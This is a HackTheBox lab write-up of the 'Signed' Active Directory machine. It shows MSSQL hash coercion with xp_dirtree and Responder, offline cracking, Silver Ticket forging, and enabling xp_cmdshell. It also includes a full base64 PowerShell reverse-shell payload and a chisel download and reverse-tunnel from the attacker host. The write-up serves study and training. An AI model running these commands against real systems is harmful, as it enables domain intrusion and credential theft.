Post

Signed

Writeup for HackTheBox Signed machine

Signed

Executive Summary

Signed is a hard-difficulty Windows Active Directory machine on HackTheBox. The intrusion path involves exploiting Microsoft SQL Server to capture service account hashes, using the captured credentials to forge a Kerberos Silver Ticket, and leveraging NTLM reflection bypass (CVE-2025-33073) alongside MS-EFSR (PetitPotam) coercion to achieve Domain Controller system compromise.

The intrusion starts with the provided MSSQL credentials for user scott. Authenticating to the MSSQL instance, the attacker executes xp_dirtree to force the SQL Server to authenticate to an external share controlled by the attacker. This captures the NetNTLMv2 hash of the mssqlsvc service account, which is subsequently cracked offline to reveal the plaintext password.

To escalate privileges within the SQL Server instance, the attacker leverages the service account’s NT hash to forge a Kerberos Silver Ticket for the MSSQL service principal name (SPN). By specifying the group RID 1105 (which corresponds to the privileged SIGNED\IT AD group mapped to the sysadmin role in SQL Server), the attacker authenticates as a sysadmin. Enabling xp_cmdshell grants initial command execution on the host as mssqlsvc.

For privilege escalation to SYSTEM, the attacker exploits an NTLM reflection vulnerability (CVE-2025-33073). By registering a malicious DNS record starting with the prefix localhost pointing to the attacker’s IP and running an ntlmrelayx listener targeting WinRM, the attacker bypasses loopback restrictions. Triggering NTLM authentication from the Domain Controller using PetitPotam coerces the computer account DC01$ to connect back to the spoofed host, relaying the credentials locally to WinRM and spawning a system-level command shell.

Machine Information

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Recon

Start off with an Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nmap -A 10.129.224.1 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-12 16:54 PKT
Nmap scan report for 10.129.224.1
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.224.1:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00                                                                      
|       Product: Microsoft SQL Server 2022                                                         
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.224.1:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-10-12T11:58:12+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-12T11:38:37
|_Not valid after:  2055-10-12T11:38:37
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 1433/tcp)
HOP RTT       ADDRESS
1   211.38 ms 10.10.14.1
2   211.43 ms 10.129.224.1

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 194.12 seconds
  • Nmap shows the host is up with only TCP/1433 open, running Microsoft SQL Server 2022 (RTM).
  • Enumeration leaked AD/NetBIOS details (SIGNED, DC01, SIGNED.HTB), an OS guess of Windows Server 2019, and a self-signed TLS certificate.

Add the following line to /etc/hosts so the target hostnames resolve locally:

1
echo '10.129.224.1 DC01.SIGNED.HTB SIGNED.HTB' | sudo tee -a /etc/hosts

Enumeration

The machine supplies valid credentials, so I used them to authenticate to the MSSQL service. The successful netexec output confirms a local DC01\scott account and an active MSSQL instance on port 1433:

1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql DC01.signed.htb -u scott -p Sm230#C5NatH --local-auth
MSSQL       10.129.224.1    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.224.1    1433   DC01             [+] DC01\scott:Sm230#C5NatH 

Now I Performed an RID brute-force enumeration , which enumerated domain RIDs and revealed built-in accounts (e.g. Administrator, Guest, krbtgt), privileged groups (Domain Admins) and service/computer accounts (e.g. mssqlsvc, DC01$).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
                                                                                                                        
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql DC01.signed.htb -u scott -p Sm230#C5NatH --local-auth --rid-brute
MSSQL       10.129.224.1    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.224.1    1433   DC01             [+] DC01\scott:Sm230#C5NatH 
MSSQL       10.129.224.1    1433   DC01             498: SIGNED\Enterprise Read-only Domain Controllers
MSSQL       10.129.224.1    1433   DC01             500: SIGNED\Administrator
MSSQL       10.129.224.1    1433   DC01             501: SIGNED\Guest
MSSQL       10.129.224.1    1433   DC01             502: SIGNED\krbtgt
MSSQL       10.129.224.1    1433   DC01             512: SIGNED\Domain Admins
MSSQL       10.129.224.1    1433   DC01             513: SIGNED\Domain Users
MSSQL       10.129.224.1    1433   DC01             514: SIGNED\Domain Guests
MSSQL       10.129.224.1    1433   DC01             515: SIGNED\Domain Computers
MSSQL       10.129.224.1    1433   DC01             516: SIGNED\Domain Controllers
MSSQL       10.129.224.1    1433   DC01             517: SIGNED\Cert Publishers
MSSQL       10.129.224.1    1433   DC01             518: SIGNED\Schema Admins
MSSQL       10.129.224.1    1433   DC01             519: SIGNED\Enterprise Admins
MSSQL       10.129.224.1    1433   DC01             520: SIGNED\Group Policy Creator Owners
MSSQL       10.129.224.1    1433   DC01             521: SIGNED\Read-only Domain Controllers
MSSQL       10.129.224.1    1433   DC01             522: SIGNED\Cloneable Domain Controllers
MSSQL       10.129.224.1    1433   DC01             525: SIGNED\Protected Users
MSSQL       10.129.224.1    1433   DC01             526: SIGNED\Key Admins
MSSQL       10.129.224.1    1433   DC01             527: SIGNED\Enterprise Key Admins
MSSQL       10.129.224.1    1433   DC01             553: SIGNED\RAS and IAS Servers
MSSQL       10.129.224.1    1433   DC01             571: SIGNED\Allowed RODC Password Replication Group
MSSQL       10.129.224.1    1433   DC01             572: SIGNED\Denied RODC Password Replication Group
MSSQL       10.129.224.1    1433   DC01             1000: SIGNED\DC01$
MSSQL       10.129.224.1    1433   DC01             1101: SIGNED\DnsAdmins
MSSQL       10.129.224.1    1433   DC01             1102: SIGNED\DnsUpdateProxy
MSSQL       10.129.224.1    1433   DC01             1103: SIGNED\mssqlsvc
MSSQL       10.129.224.1    1433   DC01             1104: SIGNED\HR
MSSQL       10.129.224.1    1433   DC01             1105: SIGNED\IT
MSSQL       10.129.224.1    1433   DC01             1106: SIGNED\Finance
MSSQL       10.129.224.1    1433   DC01             1107: SIGNED\Developers
MSSQL       10.129.224.1    1433   DC01             1108: SIGNED\Support
MSSQL       10.129.224.1    1433   DC01             1109: SIGNED\oliver.mills
MSSQL       10.129.224.1    1433   DC01             1110: SIGNED\emma.clark
MSSQL       10.129.224.1    1433   DC01             1111: SIGNED\liam.wright
MSSQL       10.129.224.1    1433   DC01             1112: SIGNED\noah.adams
MSSQL       10.129.224.1    1433   DC01             1113: SIGNED\ava.morris
MSSQL       10.129.224.1    1433   DC01             1114: SIGNED\sophia.turner
MSSQL       10.129.224.1    1433   DC01             1115: SIGNED\james.morgan
MSSQL       10.129.224.1    1433   DC01             1116: SIGNED\mia.cooper
MSSQL       10.129.224.1    1433   DC01             1117: SIGNED\elijah.brooks
MSSQL       10.129.224.1    1433   DC01             1118: SIGNED\isabella.evans
MSSQL       10.129.224.1    1433   DC01             1119: SIGNED\lucas.murphy
MSSQL       10.129.224.1    1433   DC01             1120: SIGNED\william.johnson
MSSQL       10.129.224.1    1433   DC01             1121: SIGNED\charlotte.price
MSSQL       10.129.224.1    1433   DC01             1122: SIGNED\henry.bennett
MSSQL       10.129.224.1    1433   DC01             1123: SIGNED\amelia.kelly
MSSQL       10.129.224.1    1433   DC01             1124: SIGNED\jackson.gray
MSSQL       10.129.224.1    1433   DC01             1125: SIGNED\harper.diaz
MSSQL       10.129.224.1    1433   DC01             1126: SIGNED\SQLServer2005SQLBrowserUser$DC01
                                    

The output also lists numerous domain groups and user accounts (HR, IT, Finance, Developers and users like oliver.mills, emma.clark, etc.), giving a clear inventory of accounts to target for further enumeration.

Authenticated to MSSQL using impacket-mssqlclient with the supplied credentials, but the SQL session is mapped to the guest user (limited privileges):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient scott:Sm230#C5NatH@SIGNED.HTB    
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)> SELECT USER_NAME();
        
-----   
guest   

SQL (scott  guest@master)>

I checked for user databases, sysadmin membership, and linked servers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SQL (scott  guest@master)> 
SQL (scott  guest@master)> SELECT name FROM master.sys.databases;
name     
------   
master   

tempdb   

model    

msdb     

SQL (scott  guest@master)> 
SQL (scott  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
0   

SQL (scott  guest@master)> 
SQL (scott  guest@master)> EXEC sp_linkedservers;
SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL      

SQL (scott  guest@master)> 

Summary: only system databases are present and the account lacks sysadmin privileges; the linked server DC01 is listed but provides no useful access — nothing of interest here.

Forcing an SMB authentication (xp_dirtree → Responder capture)

Running EXEC master..xp_dirtree '\\10.10.14.166\SHARE'; forces the MSSQL service to access a UNC path. Even though xp_dirtree returned no directory listing, the outbound UNC lookup causes the server to attempt NTLM authentication to the specified host.

When MSSQL accesses a UNC path \\attacker\share, the Windows redirector automatically initiates NTLM authentication to the remote SMB server via the NtLmSsp SSPI handshake (Type 1 Negotiate → Type 2 Challenge → Type 3 Authenticate). Responder captures the Type 3 message containing the NetNTLMv2 hash, which includes the server challenge and HMAC response — this hash is crackable offline.

1
2
3
4
SQL (scott  guest@master)> EXEC master..xp_dirtree '\\10.10.14.166\SHARE';
subdirectory   depth   
------------   -----   
SQL (scott  guest@master)> 

On our side responder was listening, and it captured an NTLMv2 authentication from the MSSQL service account:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ sudo responder -I tun0
[sudo] password for kali:
[SMB] NTLMv2-SSP Client   : 10.129.224.1
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:344e05f40e5e76f2:28FE219B9E9BBA27A0B6FB09ED9A52D8:01010000000000008059681B9D3BDC018501486C2E7872FE0000000002000800350053005800450001001E00570049004E002D005000470043003500440030003600300039003400500004003400570049004E002D00500047004300350044003000360030003900340050002E0035005300580045002E004C004F00430041004C000300140035005300580045002E004C004F00430041004C000500140035005300580045002E004C004F00430041004C00070008008059681B9D3BDC01060004000200000008003000300000000000000000000000003000008BE378AFF5E75D9D744514971CBF402C93D33F3A9A969B5EC44AC95E0C18FB5A0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360036000000000000000000

Captured NTLMv2 auth was cracked with john, revealing the mssqlsvc password:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@     (mssqlsvc)     
1g 0:00:00:02 DONE (2025-10-12 17:32) 0.3401g/s 1525Kp/s 1525Kc/s 1525KC/s purcitititya..puppys50
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Credential: mssqlsvc:purPLE9795!@

I authenticated to MSSQL using the cracked mssqlsvc credential via Windows authentication. The connection succeeds, but the effective database user is still mapped to guest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient -windows-auth signed.htb/mssqlsvc:'purPLE9795!@'@10.129.37.12 

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)> SELECT USER_NAME();
        
-----   
guest   

SQL (SIGNED\mssqlsvc  guest@master)>

A quick check confirms the account is not a server sysadmin:

1
2
3
4
5
6
SQL (SIGNED\mssqlsvc  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
0   

SQL (SIGNED\mssqlsvc  guest@master)> 

Silver Ticket Attack

Theory. impacket-ticketer forges a TGS service ticket by creating a PAC (Privilege Attribute Certificate) with arbitrary user and group SIDs. The ticket is encrypted with the target service account’s NT hash (RC4-HMAC), so the KDC is never contacted during authentication. When the forged ticket is presented to the MSSQL service, SQL Server unpacks the PAC and evaluates group membership against its server roles — granting sysadmin if the PAC includes the SIGNED\IT group (RID 1105). Compared to Golden Tickets, Silver Tickets require a less powerful secret (service account key only, not krbtgt) and do not contact a domain controller.

What is required to craft one

  • Domain SID

  • The target service account NT hash

  • Target SPN(s) to include in the ticket (e.g. MSSQLSvc/DC01.signed.htb:1433)

  • A chosen username to impersonate (note: since Nov 2021 Windows rejects tickets with non-existent usernames)

The -groups parameter in impacket-ticketer injects additional group RIDs into the PAC’s GroupIds field. By specifying -groups 1105, the forged ticket asserts membership in SIGNED\IT, which is mapped to the sysadmin role in SQL Server — granting full database administrator privileges.

For more on Silver Tickets here

I checked SQL Server role membership and found several principals in the sysadmin server role, including sa, the SIGNED\IT group and multiple NT SERVICE accounts — these are potential escalation pivots or useful targets for SPNs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ netexec mssql 10.129.37.12 -u mssqlsvc -p 'purPLE9795!@'  -q "EXEC sp_helpsrvrolemember 'sysadmin';"                               

MSSQL       10.129.37.12    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.37.12    1433   DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:sa
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'01'
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:SIGNED\IT
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:NT SERVICE\SQLWriter
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:NT SERVICE\Winmgmt
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:NT SERVICE\MSSQLSERVER
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
MSSQL       10.129.37.12    1433   DC01             ServerRole:sysadmin
MSSQL       10.129.37.12    1433   DC01             MemberName:NT SERVICE\SQLSERVERAGENT
MSSQL       10.129.37.12    1433   DC01             MemberSID:b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
                                                                                                                                     

Once the mssqlsvc account was identified and its SID obtained via SQL query with netexec output, we needed to extract the domain SID (everything except the last RID). The full SID contains both the domain’s identifier and the unique RID for the user.

To automate this process, I wrote a small Python utility hex2sid.py to convert a hexadecimal SID (as returned by SQL Server in hex form) into a readable S-1-5-... format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# save as hex2sid.py and run: python3 hex2sid.py 0x010500000000000515000000a1b2c3d4e5f6...
import sys
import struct

def hex_to_sid(hexstr):
    if hexstr.startswith("0x") or hexstr.startswith("0X"):
        hexstr = hexstr[2:]
    b = bytes.fromhex(hexstr)
    # SID structure: https://learn.microsoft.com/openspecs/windows_protocols/ms-dtyp
    revision = b[0]
    subcount = b[1]
    identifier_authority = int.from_bytes(b[2:8], byteorder='big')
    subs = []
    offset = 8
    for i in range(subcount):
        subs.append(struct.unpack('<I', b[offset:offset+4])[0])  # little-endian DWORDs
        offset += 4
    sid_str = "S-{}-{}".format(revision, identifier_authority)
    for s in subs:
        sid_str += "-" + str(s)
    return sid_str, subs

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 hex2sid.py <hexsid>")
        sys.exit(1)
    sid, subs = hex_to_sid(sys.argv[1])
    print("Full SID: ", sid)
    if len(subs) >= 1:
        domain_subs = subs[:-1]   # remove last RID
        # rebuild domain SID
        import math
        # We need identifier_authority again — easiest reparse:
        hexstr = sys.argv[1][2:] if sys.argv[1].startswith("0x") else sys.argv[1]
        b = bytes.fromhex(hexstr)
        revision = b[0]
        identifier_authority = int.from_bytes(b[2:8], byteorder='big')
        domain_sid = "S-{}-{}".format(revision, identifier_authority)
        for s in domain_subs:
            domain_sid += "-" + str(s)
        print("Domain SID (without last RID):", domain_sid)
    else:
        print("Could not parse subauthorities.")

Running it on the MSSQL service account’s hex SID:

1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ python3 hex2sid.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
Full SID:  S-1-5-21-4088429403-1159899800-2753317549-1105
Domain SID (without last RID): S-1-5-21-4088429403-1159899800-2753317549
  • Full SID: represents IT group.

  • Domain SID: represents the domain itself (S-1-5-21-4088429403-1159899800-2753317549), which we’ll need when forging a Silver Ticket.

  • The last number (1105) is the RID (Relative Identifier) specific to mssqlsvc.

Generating the NT Hash from the Password

I converted the recovered plaintext password to its NT hash:

1
2
3
4
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ python3 -c 'import sys; sys.stdout.buffer.write("purPLE9795!@".encode("utf-16le"))' | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

Knowing the domain SID and that 1105 corresponds to SIGNED\IT, I forged a Silver Ticket for the MSSQL SPN using the service account NT hash and included the 1105 group:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-ticketer -nthash "ef699384c3285c54128a3ee1ddb1a0cc" -domain-sid "S-1-5-21-4088429403-1159899800-2753317549" -domain "signed.htb" -spn "MSSQLSvc/DC01.signed.htb:1433" "mssqlsvc" -groups 1105
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
                                    

After exporting the ticket and authenticating with Kerberos, the forged ticket granted high-privilege access to MSSQL (effective user dbo and IS_SRVROLEMEMBER('sysadmin') = 1):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ export KRB5CCNAME=./mssqlsvc.ccache                                  
                                                                                                                                                                         
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ impacket-mssqlclient signed.htb/mssqlsvc@DC01.signed.htb  -k -no-pass

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\Administrator  dbo@master)> SELECT USER_NAME();
      
---   
dbo   

SQL (SIGNED\Administrator  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
1   

SQL (SIGNED\Administrator  dbo@master)> 

Access as mssqlsvc

From here I enable xp_cmdshell on the MSSQL server to execute system commands and obtain an interactive shell.

1
2
3
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;

xp_cmdshell is a built-in MSSQL extended stored procedure that executes arbitrary OS commands as the SQL Server service account — enabling it requires sysadmin and it is commonly used to spawn reverse shells or run post-exploitation commands.

Verify the feature is enabled and the server executes commands:

1
2
-- Verify by running a simple system command
EXEC xp_cmdshell 'whoami';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SQL (SIGNED\Administrator  dbo@master)> 
SQL (SIGNED\Administrator  dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator  dbo@master)> 
SQL (SIGNED\Administrator  dbo@master)> EXEC sp_configure 'show advanced options'; EXEC sp_configure 'xp_cmdshell';
name                    minimum   maximum   config_value   run_value   
---------------------   -------   -------   ------------   ---------   
show advanced options         0         1              1           1   

xp_cmdshell                   0         1              1           1   

SQL (SIGNED\Administrator  dbo@master)> EXEC xp_cmdshell 'whoami';
output            
---------------   
signed\mssqlsvc   

NULL              

SQL (SIGNED\Administrator  dbo@master)> 

From here I spawn a reverse shell by executing a PowerShell #3 Base64 payload via xp_cmdshell and catching the connection with nc -lvnp 4444.

Executed on server via xp_cmdshell (base64 PowerShell one-liner)

1
EXEC xp_cmdshell 'powershell -e <BASE64_PAYLOAD>';
1
SQL (SIGNED\Administrator  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ADYAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';

From that shell I confirm whoami, navigate to C:\Users\mssqlsvc\Desktop, and read user.txt, retrieving the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.166] from (UNKNOWN) [10.129.37.12] 53549

PS C:\Windows\system32> whoami
signed\mssqlsvc
PS C:\Windows\system32> cd C:\Users\mssqlsvc\Desktop
PS C:\Users\mssqlsvc\Desktop> dir


    Directory: C:\Users\mssqlsvc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---       10/13/2025   5:36 AM             34 user.txt                                                              


PS C:\Users\mssqlsvc\Desktop> type user.txt
************bb8dcb28611bb2dbf7fc
PS C:\Users\mssqlsvc\Desktop> 

Privilege escalation — NTLM reflection

To access services bound to 127.0.0.1 on the target from my workstation (not the pivot network), I created a reverse chisel tunnel. Chisel creates a SOCKS5 proxy on the attacker side by forwarding traffic through the target’s outbound connection. The target connects out to our chisel server, and the R:1080:socks directive tells the server to expose a SOCKS proxy on 127.0.0.1:1080, tunneling all traffic back through the target. This gives us reachability to services listening on the DC’s loopback interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\mssqlsvc\Desktop> ipconfig                                                       
                                                                                              
Windows IP Configuration                                                                           
                                                                                                    
                                                                                                                 
Ethernet adapter Ethernet0:                                                                                     
                                                                                                                 
   Connection-specific DNS Suffix  . : .htb                                                                             
   IPv6 Address. . . . . . . . . . . : dead:beef::b041:dc5b:fb72:e001                                                             
   Link-local IPv6 Address . . . . . : fe80::f19c:221:c856:6d22%12                                                                
   IPv4 Address. . . . . . . . . . . : 10.129.37.12                                                                               
   Subnet Mask . . . . . . . . . . . : 255.255.0.0                                                                                
   Default Gateway . . . . . . . . . : 10.129.0.1
PS C:\Users\mssqlsvc\Desktop> 

On our host, start the chisel server in reverse mode:

1
2
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ chisel server --port 11107 --reverse

On the target, download and run the chisel client to request a reverse mapping:

1
2
3
PS C:\temp> Invoke-WebRequest -Uri http://10.10.14.166/chisel.exe -OutFile ch.exe

PS C:\temp> .\ch.exe client 10.10.14.166:11107 R:1080:socks

Chisel connects and the SOCKS tunnel is established:

1
2
3
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ chisel server --port 11107 --reverse
2025/10/15 19:09:46 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

